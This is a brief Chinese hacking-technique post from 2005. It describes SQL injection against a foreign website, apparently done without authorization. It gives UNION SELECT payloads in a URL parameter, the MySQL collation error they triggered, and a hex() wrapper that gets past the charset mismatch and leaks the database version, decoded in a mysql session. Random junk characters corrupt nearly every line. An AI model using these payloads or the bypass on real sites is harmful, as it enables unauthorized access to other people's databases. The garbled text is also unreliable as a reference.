本文作者:SuperHei
8 G& P, e4 ~& F文章性质:原创; ~- p2 F/ R1 k
发布日期:2005-10-18
+ c. d* U$ R1 ^" T( p测试个国外的站时:
2 i! P7 d1 z3 [- U( Nurl:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*! @8 {) m- r# M/ c: R6 Z5 `
返回错误:* B) Z0 O7 I9 e# l7 X# C
Illegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
4 J" o8 y) v2 j& LMySQL Error No. 1266 _+ H6 ~0 w* b/ _8 z
看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。
1 f$ d3 v k1 E解决办法:转为其他编码如hex。
2 n8 H# i+ X8 r: Hurl:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*% e' F: ^' G# h3 U7 m+ Y* i- R2 O
成功得到hex(version())的值为:
4 I2 O0 U7 F5 i) ~) o/ i342E312E332D62657461( D, F9 I8 o. F6 v1 I+ G) h" e
回Mysql查询下得到:8 G1 T6 y2 Z1 f* d( e, |4 k
mysql> select 0x342E312E332D62657461;4 t) f% E5 E7 e& b
+------------------------+- |4 D# w1 Y. w5 ?9 H; O1 g8 j& R
| 0x342E312E332D62657461 | X, f, l: J' M# @% E2 |: t
+------------------------+
& U% B( G8 b- O4 G2 o& G! A+ Z| 4.1.3-beta |9 I4 W1 c0 E& J4 D( v* F8 F6 e
+------------------------+% M3 r1 T5 ?7 F+ ~$ w) g6 f& z9 l
1 row in set (0.00 sec)5 m; e8 w4 ^. b* R) V$ }
& q4 h1 H! B: W% W9 d& f0 w# K
|